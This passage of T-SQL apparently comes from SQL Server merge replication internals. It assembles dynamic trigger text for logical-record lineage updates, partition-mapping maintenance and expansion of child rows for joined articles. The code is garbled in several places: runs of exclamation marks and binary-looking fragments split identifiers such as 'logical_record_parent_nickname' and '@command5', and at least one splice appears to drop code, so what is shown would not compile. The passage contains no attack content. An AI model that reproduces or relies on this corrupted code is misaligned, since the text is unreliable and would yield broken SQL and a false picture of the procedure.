            insert into ' + @viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen, logical_record_parent_rowguid, logical_record_lineage) 
            select @tablenick, i.rowguidcol, @lineage, @cv, @newgen, @partgen, i.rowguidcol, @lineage
            from inserted i
            where not exists (select rowguid from ' + @viewname + ' with (readcommitted, rowlock, readpast) where tablenick = @tablenick and rowguid = i.rowguidcol) '
            
    select @command3 = @command3 + '    
            if @@error <> 0
                GOTO FAILURE
        end'
        
    if @logical_record_view is not null
        select @command3 = @command3 + '
    end'

    insert into #tmptriggercmd(phase, cmdtext) values (9, @command3)

    if @logical_record_view is not null
    begin
              
        select top 1 @logical_record_parent_nickname = logical_record_parent_ni!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(t
6$ovhckname 
        from dbo.sysmergepartitioninfo
        where artid = @artid
        and logical_record_parent_nickname is not null
        
        if @is_top_level_logical_record_parent = 0
        begin
        
            select @command3 = '        
    
    if @article_rows_updated = 1
    begin
        select @logical_record_parent_rowguid = logical_record_parent_rowguid 
        from ' + object_name(@logical_record_view) + ' lrv
        where lrv.' + @rgcol + ' = @rowguid
        
        exec @retcode = sys.sp_MSupdate_singlelogicalrecordmetadata ' + convert(nvarchar, @logical_record_parent_nickname) + ', @logical_record_parent_rowguid, @replnick, @parent_row_inserted output
        if @@error <> 0 or @retcode <> 0
            goto FAILURE
        insert into @logical_record_distinct_parent_rowguids values (@logical_record_parent_rowguid)
        insert into @logical_record_distinct_parent_rowguids_copy values (@logical_record_parent_rowguid)
    end '
            insert into #tmptriggercmd (phase, cmdtext) values (9, @command3)
                select @command3 = '
    else
    begin
        
        insert into @logical_record_distinct_parent_rowguids
        select distinct logical_record_parent_rowguid 
        from inserted i, ' 
        + object_name(@logical_record_view) + ' lrv with (rowlock)
        where i.rowguidcol = lrv.' + @rgcol + '
        and lrv.logical_record_parent_rowguid is not null
                    
        select @num_parent_rows = @@rowcount
        
        if @num_parent_rows = 1
        begin
            -- this could happen when all rows being inserted are the children of the same parent row.
            select @logical_record_parent_rowguid = logical_record_parent_rowguid from @logical_record_distinct_parent_rowguids
            exec @retcode = sys.sp_MSupdate_singlelogicalrecordmetadata ' + convert(nvarchar, @logical_record_parent_nickname) + ', @logical_record_parent_rowguid, @replnick, @parent_row_inserted output
            if @@error <> 0 or @retcode <> 0
                goto FAILURE
            insert into @logical_record_distinct_parent_rowguids_copy values (@logical_record_parent_rowguid)
        end  '
            insert into #tmptriggercmd (phase, cmdtext) values (9, @command3)
            select @command3 = '
        else if @num_parent_rows > 1
        begin
            insert into @logical_record_distinct_parent_rowguids_copy
            select * from @logical_record_distinct_parent_rowguids
            select @logical_record_distinct_parents_count = count(*) from @logical_record_distinct_parent_rowguids
            
            if @@rowcount > 0
            begin
                
                select top 1 @logical_record_parent_oldmaxversion = maxversion_at_cleanup
                from dbo.sysmergearticles
                where nickname = ' + convert(nvarchar,@logical_record_parent_nickname) + '
                
                -- the code below will get an open generation for the parent
                select @logical_record_parent_gencur = NULL
                select top 1 @logical_record_parent_gencur = generation from ' + @genhistory_viewname + ' with (rowlock, updlock, readpast) 
                    where art_nick = ' + convert(nvarchar,@logical_record_parent_nickname) + ' 
                        and genstatus = 0'
            if @level_generations_in_trigger = 1
                select @command3 = @command3 + '
                        and changecount <= (' + convert(nvarchar, @gen_change_threshold) + '-isnull(@logical_record_distinct_parents_count,0))'
            select @command3 = @command3 + '
                if @logical_record_parent_gencur is NULL
                begin
                    insert into ' + @genhistory_viewname + ' with (rowlock)
                        (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
                    values (newid(), 0, ' + convert(nvarchar,@logical_record_parent_nickname) + ', @nickbin, @dt, @logical_record_distinct_parents_count)
                    select @error = @@error, @logical_record_parent_gencur = @@identity 
                    if @error<>0 or @logical_record_parent_gencur is NULL
                        goto FAILURE
                end'
            if @level_generations_in_trigger = 1
                select @command3 = @command3 + '
                else
                begin
                    -- do the update right away to change the changecount to include the rows that we just put in the generation
                    update ' + @genhistory_viewname + ' with (rowlock)
                    set changecount = changecount + @logical_record_distinct_parents_count
                    where generation = @logical_record_parent_gencur 
                    if @@error<>0 goto FAILURE
                end'
                
            insert into #tmptriggercmd (phase, cmdtext) values (9, @command3)
            
            select @command3 = '
                        
                update ' + @viewname + ' with (rowlock)
                set logical_record_lineage = { fn UPDATELINEAGE(logical_record_lineage, @replnick, @logical_record_parent_oldmaxversion+1) },
                generation = @logical_record_parent_gencur
                from @logical_record_distinct_parent_rowguids lrpg join ' + @viewname + ' with (rowlock)
                on tablenick = ' + convert(nvarchar, @logical_record_parent_nickname) + '
                and rowguid = lrpg.logical_record_parent_rowguid
                option (force order, loop join)
                
                delete from @logical_record_distinct_parent_rowguids
                where logical_record_parent_rowguid in (select rowguid from ' + @viewname + ' with (rowlock)
                    where tablenick = ' + convert(nvarchar, @logical_record_parent_nickname) + ') '
                
            insert into #tmptriggercmd (phase, cmdtext) values (9, @command3)
            select @command3 = '
                -- Now @logical_record_distinct_parent_rowguids is left with parent rowguids that are not present in MSmerge_contents.
                if exists (select * from @logical_record_distinct_parent_rowguids)
                begin
                    select @logical_record_lineage = { fn UPDATELINEAGE(0x0, @replnick, @logical_record_parent_oldmaxversion+1) }
                    
                    -- if no cleanup done yet, use 1 as the version.
                    if @logical_record_parent_oldmaxversion = 1
                        select @logical_record_parent_regular_lineage = { fn UPDATELINEAGE(0x0, @replnick, 1) }
                    else 
                        select @logical_record_parent_regular_lineage = @logical_record_lineage
                        
                    insert into ' + @viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen,                                             
                        logical_record_parent_rowguid, logical_record_lineage) 
                    select distinct ' + convert(nvarchar, @logical_record_parent_nickname) + ', lrpg.logical_record_parent_rowguid, 
                        @logical_record_parent_regular_lineage, 0x00, @logical_record_parent_gencur, NULL, lrpg.logical_record_parent_rowguid, 
                        @logical_record_lineage
                    from @logical_record_distinct_parent_rowguids lrpg
                    where not exists (select rowguid from ' + @viewname + ' with (rowlock) where tablenick = ' + convert(nvarchar, @logical_record_parent_nickname) + '
                                        and rowguid = lrpg.logical_record_parent_rowguid)
                end
            end
        end
    end '
        
            insert into #tmptriggercmd (phase, cmdtext) values (9, @command3)
                    
            -- if partition groups functionality is being used, we need to insert !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(u
6*Rvhthe partition ids for these 
            -- newly inserted contents rows. 
        
            declare @lrp_partition_view_id int, @lrp_partition_view_name nvarchar(270), @lrp_pubid uniqueidentifier,
                    @lrp_publication_number smallint, @lrp_objid int, @lrp_rgcol nvarchar(270)

            declare lrp_partition_view_ids CURSOR LOCAL FAST_FORWARD FOR 
            select partition_view_id, pubid, objid
            from dbo.sysmergepartitioninfoview 
            where nickname = @logical_record_parent_nickname
            and partition_view_id is not null
            for read only

            open lrp_partition_view_ids

            fetch next from lrp_partition_view_ids into @lrp_partition_view_id, @lrp_pubid, @lrp_objid

            while (@@fetch_status <> -1)
            begin
                
                select top 1 @lrp_publication_number = publication_number from dbo.sysmergepublications where pubid = @lrp_pubid
                select @lrp_rgcol = quotename(name) from sys.columns where object_id = @lrp_objid and is_rowguidcol = 1
                
                select @lrp_partition_view_name = 'dbo.' + quotename(object_name(@lrp_partition_view_id))
                if @lrp_partition_view_name is not null
                begin
                    select @command3 = NULL
                    select @command3 = '
    if (@num_parent_rows = 1 or @article_rows_updated = 1)
    begin
        -- if we did not insert the parent row, we have no business inserting the mapping row.
        if @parent_row_inserted = 1
        begin
            insert into ' + @current_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id)
            select distinct ' + convert(nvarchar, @lrp_publication_number) + ', ' 
            + convert(nvarchar,@logical_record_parent_nickname) + ', v.' + @lrp_rgcol + ', v.partition_id
            from ' + @lrp_partition_view_name + ' as v  with (rowlock)
            where v.' + @lrp_rgcol + ' = @logical_record_parent_rowguid 
        end
    end
    else
        insert into ' + @current_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id)
            select distinct ' + convert(nvarchar, @lrp_publication_number) + ', ' 
            + convert(nvarchar,@logical_record_parent_nickname) + ', v.' + @lrp_rgcol + ', v.partition_id
            from @logical_record_distinct_parent_rowguids as lrpg, ' 
            + @lrp_partition_view_name + ' as v with (rowlock)
            where v.' + @lrp_rgcol + ' = lrpg.logical_record_parent_rowguid 
            and not exists (select * from ' + @current_mappings_viewname + ' mcpg with (rowlock)
                    where mcpg.tablenick = ' + convert(nvarchar,@logical_record_parent_nickname) + '
                    and mcpg.rowguid = v.' + @lrp_rgcol + ')
             '
    
                    insert into #tmptriggercmd (phase, cmdtext) values (9, @command3)
                end
        
                fetch next from lrp_partition_view_ids into @lrp_partition_view_id, @lrp_pubid, @lrp_objid
            end

            close lrp_partition_view_ids
            deallocate lrp_partition_view_ids
        end -- end is_top_level_logical_parent = 0
        else if @is_top_level_logical_record_parent = 1 and @article_published = 1
        begin
            select @command3 = '        
    
    if @article_rows_updated = 1
    begin
        select @logical_record_parent_rowguid = @rowguid
        insert into @logical_record_distinct_parent_rowguids values (@logical_record_parent_rowguid)
        insert into @logical_record_distinct_parent_rowguids_copy values (@logical_record_parent_rowguid)
    end '
        insert into #tmptriggercmd (phase, cmdtext) values (9, @command3)
            select @command3 = '
    else
    begin
        
        insert into @logical_record_distinct_parent_rowguids
        select distinct logical_record_parent_rowguid from inserted i, ' 
        + object_name(@logical_record_view) + ' lrv with (rowlock)
        where i.rowguidcol = lrv.' + @rgcol + '
        and lrv.logical_record_parent_rowguid is not null  
                
        insert into @logical_record_distinct_parent_rowguids_copy
            select * from @logical_record_distinct_parent_rowguids
    end '
            insert into #tmptriggercmd (phase, cmdtext) values (9, @command3)
        end --is_top_level_logical_parent = 1
    end -- logical_record_view is not null

    if @article_published = 1
    begin
        declare @partition_view_id int, @partition_view_name nvarchar(270), @pubid uniqueidentifier, @partition_deleted_view_rule nvarchar(max),
                @partition_inserted_view_rule nvarchar(max), @publication_number smallint, @basetable_ownerqualified_replviewname nvarchar(130)

        select @command4 = NULL, @command5 = NULL

        declare partition_view_ids CURSOR LOCAL FAST_FORWARD FOR 
        select partition_view_id, pubid, partition_deleted_view_rule, partition_inserted_view_rule, partition_options
        from dbo.sysmergepartitioninfoview 
        where nickname = @tablenick
        and partition_view_id is not null
        for read only

        open partition_view_ids

        fetch next from partition_view_ids into @partition_view_id, @pubid, @partition_deleted_view_rule, @partition_inserted_view_rule, @partition_options

        while (@@fetch_status <> -1)
        begin

            select top 1 @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid

            select @partition_view_name = 'dbo.' + quotename(object_name(@partition_view_id))
            
            select @basetable_ownerqualified_replviewname = 
                quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(object_name(object_id))
            from sys.objects with (nolock) where object_id =
                (select top 1 repl_view_id from dbo.sysmergepartitioninfoview
                    where pubid = @pubid and objid = @objid)
            
            if @partition_view_name is not null
            begin

                if @command4 is null
                    select @command4 = '

    if (@partchange = 1 or @joinchange = 1)
    begin '
                insert into #tmptriggercmd(phase, cmdtext) values (10, @command4)

		declare @join_table_name nvarchar(270),   -- the parent table name
                          @join_filter_clause nvarchar(270),
                          @parent_partition_view_name nvarchar(270) -- the partition view name for the parent table (yiche)

		--obtain the parent table name
		declare @jt nvarchar(270) -- the unquoted name for the join_table_name
		select @jt = join_articlename, @join_filter_clause  = join_filterclause  
		from dbo.sysmergesubsetfilters
		where pubid = @pubid and artid = @artid    -- note that an article might belongs to multiple publication

		select @join_table_name = QUOTENAME(@jt)

		--obtain the partition view name for the parent table
		select @parent_partition_view_name = QUOTENAME(SCHEMA_NAME(schema_id)) + '.' + QUOTENAME(object_name(partition_view_id))
		from dbo.sysmergepartitioninfoview, sys.objects
		where object_name(objid) = @jt	and object_id = @objid	and pubid = @pubid
		
		-- Now we compose the update trigger code dependending on the following cases:
		--	(1) The general case when there is on ON DELETE/UPDATE clause for the PK-FK. All we need to do 
		--         is to move the rows to the past partition mappings
		--	(2) The case when we cannot determin the past partition of the deleted rows. This includes
		--		(a) The case when we have SET NULL. In this case we have no way to tell what 
		--		      is the past partition the deleted rows belong to, so we need to delete them from all partitions
		--		(b) the case when we cannot find the parent table linked by the PK-FK
		--	(3) The rest cases, when we can tell!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(v
6.zLvh either to delete from all partition or not, by detecting the
		--        join of the deleted rows with the parent view
		if ( not exists (select * 
				from sys.foreign_keys fks JOIN dbo.sysmergearticles art
				on fks.parent_object_id = art.objid
				where  -- the delete trigger of the parent table might fire the update trigger of the child table
					(     
						ObjectProperty(fks.object_id, 'CnstIsDeleteCascade') = 1 -- on cascade
						or fks.delete_referential_action = 2  -- on delete set null
					 	or fks.delete_referential_action = 3  -- on delete set default
						  -- for the case of update set null, set default, we won't be able to find the parent rows either
						  or ObjectProperty(fks.object_id, 'CnstIsUpdateCascade')=1 -- on cascade
						 or fks.update_referential_action =2 -- on update set null
						 or fks.update_referential_action=3  -- on update set default
					)
					and art.nickname = @tablenick )
			OR (@join_filter_clause IS NULL)
		) -- case (1)
		
		begin

                select @command4 = '
        insert into ' + @past_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id, generation, reason)
        select distinct ' + convert(nvarchar, @publication_number) + ', @tablenick, v.' + @rgcol + ', v.partition_id, @newgen, 0
        from ( ' + @partition_deleted_view_rule + ' ) as v '

        	end -- end of case (1)
        	else  if( exists (select * from sys.foreign_keys fks JOIN dbo.sysmergearticles art
 					on fks.parent_object_id = art.objid
 					where ( fks.delete_referential_action = 2 
 						or fks.delete_referential_action = 3
 						-- we cannot determine the current past partition mappings
 						-- for all ON UPDATE cases, so we need to delete the child
 						-- rows from all partitions
						or ObjectProperty(fks.object_id, 'CnstIsUpdateCascade')=1
 						or fks.update_referential_action = 2
 						or fks.update_referential_action = 3)
 					)
 					-- in case we cannot find the source table name and the parent partition view name
 					-- we need to delete the rows from all partitions. This might happen when we have
 					-- multiple publications
				or @parent_partition_view_name is null
				or @join_table_name is null
 			)-- case (2)
	      		-- now we handle the case when we know we should delete the rows from all partitions
        		-- In the case of SET NULL we should always remove the child rows from all subscribers
			-- because in these cases we have no way to tell the past partition
			-- mappings the deleted/updated rows belong to.
 			begin
 			select @command4='
				--Since we might not find the parent rows by the PK-FK, we should delete them from all partitions
				insert into ' + @past_mappings_viewname + ' with (rowlock) ( publication_number, tablenick, rowguid, partition_id, generation, reason)
				select distinct ' + convert( nvarchar, @publication_number)+', @tablenick, v.' + @rgcol +', -1, case when @is_mergeagent = 1 then 0 else @newgen end, 1
				from deleted as v
 			'
 			end --end of case (2)
 		else
        	begin    -- case (3)



			select @command4 = '
			if ( not exists (select *
					from deleted ' + QUOTENAME(@UnqualName)  + '  JOIN  ' + @parent_partition_view_name + '  ' + @join_table_name + '
					  on ( '+ @join_filter_clause+' ) )) 
					begin
						insert into ' + @past_mappings_viewname + ' with (rowlock) ( publication_number, tablenick, rowguid, partition_id, generation, reason)
						select distinct ' + convert( nvarchar, @publication_number)+', @tablenick, v.' + @rgcol +', -1, case when @is_mergeagent = 1 then 0 else @newgen end, 1
						from deleted as v
					end 
					else
					begin
					        insert into ' + @past_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id, generation,reason)
					        select distinct ' + convert(nvarchar, @publication_number) + ', @tablenick, v.' + @rgcol + ', v.partition_id, case when @is_mergeagent = 1 then 0 else @newgen end, 1
					        from ( ' + @partition_deleted_view_rule + ' ) as v 				
					end
				'
        	end --end of case (3)

        
                insert into #tmptriggercmd(phase, cmdtext) values (10, @command4)

                select @command6 = '
    if (@partchange = 1 or @joinchange = 1)
    begin'
                if @logical_record_view is not null
                    select @command6 = @command6 + '
        if @article_rows_updated = 1
            insert into ' + @current_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id)
            select distinct ' + convert(nvarchar, @publication_number) + ', @tablenick, @rowguid , v.partition_id
            from ' + @partition_view_name + ' as v  with (rowlock)
            where v.' + @rgcol + ' = @rowguid
        else'
                select @command6 = @command6 + '        
            insert into ' + @current_mappings_viewname + ' (publication_number, tablenick, rowguid, partition_id)
            select distinct ' + convert(nvarchar, @publication_number) + ', @tablenick, v.' + @rgcol + ', v.partition_id
            from ( ' + @partition_inserted_view_rule + ' ) as v 
    end '
                if @partition_options = 2 or @partition_options = 3
                    select @command6 = @command6 + '
    else if (@contents_rows_updated <> @article_rows_updated and (@is_mergeagent = 0 or @at_publisher = 0)) '
                else

                select @command6 = @command6 + '
    else if (@contents_rows_updated <> @article_rows_updated OR @null_lineage_updated = 1)'
        
                select @command6 = @command6 + '
    begin'
                if @logical_record_view is not null
                    select @command6 = @command6 + '
        if @article_rows_updated = 1
            insert into ' + @current_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id)
            select distinct ' + convert(nvarchar, @publication_number) + ', @tablenick, @rowguid, v.partition_id
            from ' + @partition_view_name + ' as v  with (rowlock)
            where v.' + @rgcol + ' = @rowguid
                and not exists (select * from ' + @current_mappings_viewname + ' with (readcommitted, rowlock, readpast) where 
                publication_number = ' + convert(nvarchar, @publication_number) + ' and tablenick = @tablenick and rowguid = @rowguid and partition_id = v.partition_id)
        else'
                select @command6 = @command6 + '
            insert into ' + @current_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id)
            select distinct ' + convert(nvarchar, @publication_number) + ', @tablenick, v.' + @rgcol + ', v.partition_id
            from ( ' + @partition_inserted_view_rule + ' ) as v 
            where not exists (select * from ' + @current_mappings_viewname + ' with (readcommitted, rowlock, readpast) where 
            publication_number = ' + convert(nvarchar, @publication_number) + ' and tablenick = @tablenick and rowguid = v.' + @rgcol + ' and partition_id = v.partition_id)
    end '
                insert into #tmptriggercmd(phase, cmdtext) values (12, @command6)
            end
            fetch next from partition_view_ids into @partition_view_id, @pubid, @partition_deleted_view_rule, @partition_inserted_view_rule, @partition_options
        end
        
    end -- @article_published = 1
        
    if @command4 is not null
    begin
        if @logical_record_view is not null
            select @command5 = '
        if @article_rows_updated = 1
            delete from ' + @current_mappings_viewname + '
            from ' + @current_mappings_viewname + ' cpm with (rowlock)
            where cpm.tablenick = @tablenick
            AND cpm.rowguid = @rowguid
        else'
        else
            select @command5 = ''
        select @comma!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(w
6Mvhnd5 = @command5 + '
            delete from ' + @current_mappings_viewname + '
            from deleted d
            JOIN ' + @current_mappings_viewname + ' cpm with (rowlock)
            ON cpm.tablenick = @tablenick
            AND cpm.rowguid = d.' + @rgcol + '
            option (force order, loop join)'
        insert into #tmptriggercmd(phase, cmdtext) values (11, @command5)
    end

    if @command5 is not null
    begin
        select @command5 = '
    end '
        insert into #tmptriggercmd(phase, cmdtext) values (11, @command5)
    end

    if @article_published = 1
    begin
        declare @immediate_child_table_name nvarchar(130), @owner_qualified_immediate_child_table_name nvarchar(270), 
                @immediate_child_objid int, @immediate_child_nickname int, @immediate_child_partition_viewname nvarchar(130),
                @join_filterclause nvarchar(1000), @child_join_colname nvarchar(130), @join_unique_key int, @child_expand_proc sysname
            
        declare immediate_children CURSOR LOCAL FAST_FORWARD FOR 
        select distinct quotename(object_name(sma.objid)), sma.objid, sma.nickname, 'dbo.' + quotename(object_name(sma.partition_view_id)), 
                        ssf.join_filterid, ssf.join_filterclause, ssf.join_unique_key, sma.expand_proc, sma.pubid, sma.column_tracking
        from dbo.sysmergesubsetfilters ssf, dbo.sysmergepartitioninfoview sma 
        where ssf.join_nickname = @tablenick
        and sma.nickname = ssf.art_nickname
        and sma.pubid = ssf.pubid
        and sma.partition_view_id is not null
        and (ssf.filter_type & 1) = 1
        for read only

        open immediate_children

        fetch next from immediate_children into @immediate_child_table_name, @immediate_child_objid, @immediate_child_nickname, 
                        @immediate_child_partition_viewname, @join_filter_id, @join_filterclause, @join_unique_key, @child_expand_proc, @pubid, @child_has_col_tracking

        if (@@fetch_status <> -1)
        begin
            select @command3 = '
    if @partchange = 1 or @joinchange = 1
    begin 
        declare @child_marker uniqueidentifier
        declare @inserted_child_rowcount int, @deleted_child_rowcount int
        set @child_marker = newid()
        '
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
            select @command3 = '
    end    '
            insert into #tmptriggercmd (phase, cmdtext) values(29, @command3)
        end
        
        while (@@fetch_status <> -1)
        begin
            select @owner_qualified_immediate_child_table_name = 
                quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(object_name(object_id))
            from sys.objects with (nolock) where object_id =
                (select top 1 repl_view_id from dbo.sysmergepartitioninfoview
                    where pubid = @pubid and objid = @immediate_child_objid)
            
            select top 1 @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid
            
            exec @retcode = sys.sp_MSis_joinfilter_based_on_PK_UQ_constraints @pubid = @pubid,
                                                                        @join_filter_id = @join_filter_id,
                                                                        @dri_based = @child_cannot_pre_exist output,
                                                                        @unique_constraint_based = @parent_columns_unique output
                                                                        
            if @@error <> 0 or @retcode <> 0
                return 1

            select  top 1 @child_join_colname = name from sys.columns where object_id = @immediate_child_objid
            and sys.fn_MSisfilteredcolumn(@join_filterclause, name, @immediate_child_objid) = 1 

            select @child_rgcol = quotename(name) from sys.columns where object_id = @immediate_child_objid and is_rowguidcol = 1

            if @join_unique_key = 0 or @parent_columns_unique = 0
            begin
                if @logical_record_view is not null
                    select @command3 = '
        if @article_rows_updated = 1
            select @inserted_child_rowcount = count(*) from ' 
            + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' 
            where ' + @child_rgcol + ' in 
                (select ' + @immediate_child_table_name + '.' + @child_rgcol + ' from ' 
                + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name 
                + ', ' + @basetable_ownerqualified_replviewname + ' '
                + quotename(object_name(@objid)) + ' where '
                + quotename(object_name(@objid)) + '.' + @rgcol + ' = @rowguid and '
                + '(' + @join_filterclause + ')' + ')
        else'
                else
                    select @command3 = ''
                select @command3 = @command3 + '
            select @inserted_child_rowcount = count(*) from ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' 
            where ' + @child_rgcol + ' in 
                (select ' + @immediate_child_table_name + '.' + @child_rgcol + ' from ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name 
                + ', inserted ' + quotename(object_name(@objid)) + ' where '
                + '(' + @join_filterclause + ')' + ')'
                
                if @logical_record_view is null
                    select @command3 = @command3 + '                
        if @joinchange = 1
            select @deleted_child_rowcount = count(*) from ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' 
            where ' + @child_rgcol + ' in 
                (select ' + @immediate_child_table_name + '.' + @child_rgcol + ' from ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ', deleted ' + quotename(object_name(@objid)) + ' 
                where ' + '(' + @join_filterclause + ')' + ')
        else
            select @deleted_child_rowcount = 0 '
            end
            else
            begin
                if @logical_record_view is not null
                    select @command3 = '
        if @article_rows_updated = 1
            select @inserted_child_rowcount = count(*) from ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name 
            + ', ' + @basetable_ownerqualified_replviewname + ' '
            + quotename(object_name(@objid)) + ' where ' 
            + quotename(object_name(@objid)) + '.' + @rgcol + ' = @rowguid and '
            + '(' + @join_filterclause + ')
        else'
                else
                    select @command3 = ''
                select @command3 = @command3 + '
            select @inserted_child_rowcount = count(*) from ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name 
            + ', inserted ' 
            + quotename(object_name(@objid)) + ' where ' 
            + '(' + @join_filterclause + ')'
                
                if @logical_record_view is null
                    select @command3 = @command3 + ' 
        if @joinchange = 1 
            select @deleted_child_rowcount = count(*) from ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ', deleted ' + quotename(object_name(@objid)) + ' 
            where ' + '(' + @join_filterclause + ')' + '
        else 
            select @deleted_child_rowcount = 0 '
            end
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                    
            -- touch the immediate children of deleted rows
            select @command3 = '
        if @inserted_child_rowcount > 0 or @deleted_child_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(x
6q@}vh      set @command3 = ' 
                    set @cv = NULL '

                set @command3 = @command3 + '
                    insert into ' + @viewname + ' (tablenick, rowguid, generation, lineage, colv1, marker) '
            
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

                if @join_unique_key = 0 or @parent_columns_unique = 0
                begin
                    set @command3 = ' 
                    select ' + convert(nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', 0, @lineage, @cv, @child_marker
                    from ' + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' 
                    where ' + @child_rgcol + ' in 
                            (select  ' + @immediate_child_table_name + '.' + @child_rgcol + ' from ' 
                            + ' deleted ' + quotename(object_name(@objid)) + ', ' 
                            + @owner_qualified_immediate_child_table_name + ' ' 
                            + @immediate_child_table_name + ' with (rowlock)
                        where ' + '(' + @join_filterclause + ')' + ')                           
                           and not exists 
                            (select * from ' + @viewname + ' mc with (rowlock)
                            where mc.tablenick = ' + convert(nvarchar, @immediate_child_nickname) + ' 
                            and rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + ')                   
                            '
                end
                else
                begin
                    set @command3 = '
                        select ' + convert(nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', 0, @lineage, @cv, @child_marker
                        from
                        deleted ' + quotename(object_name(@objid)) + ', ' 
                        + @owner_qualified_immediate_child_table_name + ' ' 
                        + @immediate_child_table_name + ' with (rowlock)
                        where ' + '(' + @join_filterclause + ')' + '
                        and not exists 
                            (select * from ' + @viewname + ' mc with (rowlock)
                            where mc.tablenick = ' + convert(nvarchar, @immediate_child_nickname) + ' 
                            and rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + ')                    
                    '                                        
                end

                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                select @command3 = '
                end    
            end'
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
            end

            select @command3 = '
            delete ' + @current_mappings_viewname + ' with (rowlock) from 
            ' + @viewname + ' mc with (rowlock) join '
            + @current_mappings_viewname + ' cpmv with (rowlock) 
            on cpmv.tablenick = mc.tablenick
            and mc.tablenick = ' + convert(nvarchar(11), @immediate_child_nickname) + '
            and cpmv.tablenick = ' + convert(nvarchar(11), @immediate_child_nickname) + '
            and cpmv.rowguid = mc.rowguid
            and cpmv.publication_number = ' + convert(nvarchar, @publication_number) + '
            and mc.marker = @child_marker '
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                    
            select @command3 = '
            insert into ' + @current_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id)
            select distinct ' + convert(nvarchar, @publication_number) + ', mc.tablenick, mc.rowguid, v.partition_id
            from ' + @viewname + ' mc with (rowlock)
            JOIN ' + @immediate_child_partition_viewname + ' v with (rowlock)
            ON mc.tablenick = ' + convert(nvarchar(11), @immediate_child_nickname) + '
            and mc.rowguid = v.' + @child_rgcol + '
            and mc.marker = @child_marker
            '

            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            select top 1 @partition_deleted_view_rule = partition_deleted_view_rule 
            from dbo.sysmergepartitioninfoview 
            where pubid = @pubid 
            and nickname = @tablenick

            if @partition_deleted_view_rule is not null and @partition_deleted_view_rule <> ' '
            begin
                select @command3 = '
            insert into ' + @past_mappings_viewname + ' with (rowlock) (publication_number, tablenick, rowguid, partition_id, generation, reason)
            select distinct ' + convert(nvarchar, @publication_number) + ', ' + convert (nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', ' + 
                    quotename(object_name(@objid)) + '.partition_id, @child_newgen, 0
            from ( ' + @partition_deleted_view_rule + ' ) as ' + quotename(object_name(@objid)) + ', ' 
            + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock)
            where ' + '(' + @join_filterclause + ')
            '

                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
            end
            
            if @child_expand_proc is not null and @child_expand_proc != ' '
            begin
                set @command3 = '
            exec dbo.' + @child_expand_proc + ' @marker = @child_marker, @inherit_pastchanges_generation = @child_newgen, @parent_being_updated = 1, @trigger_type = 1 '
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
            end

            select @command3 = '
        end    '
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            fetch next from immediate_children into @immediate_child_table_name, @immediate_child_objid, @immediate_child_nickname, 
                @immediate_child_partition_viewname, @join_filter_id, @join_filterclause, @join_unique_key, @child_expand_proc, @pubid, @child_has_col_tracking
        end

        close immediate_children
        deallocate immediate_children
    end -- @article_published

    
    -- If this article is a parent (not necessarily the top-level parent), then need to take care of children.
    -- If there was a logicalrelationchange, then we may need to update the logical record parent id
    -- of several other rows. These rows could be old children or new children. As far as old children
    -- are concerned, we need to worry only about those children that had contents entries with parent_rowguid set. 
    -- Those contents entries should have the old parent rowguid set. We would need to re-evaluate the new parent rowguid
    -- for such rows. As far as new children are concerned, their contents entries may not already have the proper
    -- parent_rowguid set. e.g. they may have been entered in the current execution of the update trigger (expansion - 
    -- if using partition ids) or they may have an obsolete value of parent_rowguid set. So, here's what needs to
    -- be done:
    -- For old children:
    --                    update MSmerge_contents set parent_guid = clrv.parent_guid 
    --                    from MSmerge_contents mc, child_logical_record_view clrv
    --                    where mc.rowguid = clrv.child_rowguid
    --                    and mc.nickname = clrv.child_nickname
    --                    and mc.parent_rowguid in (
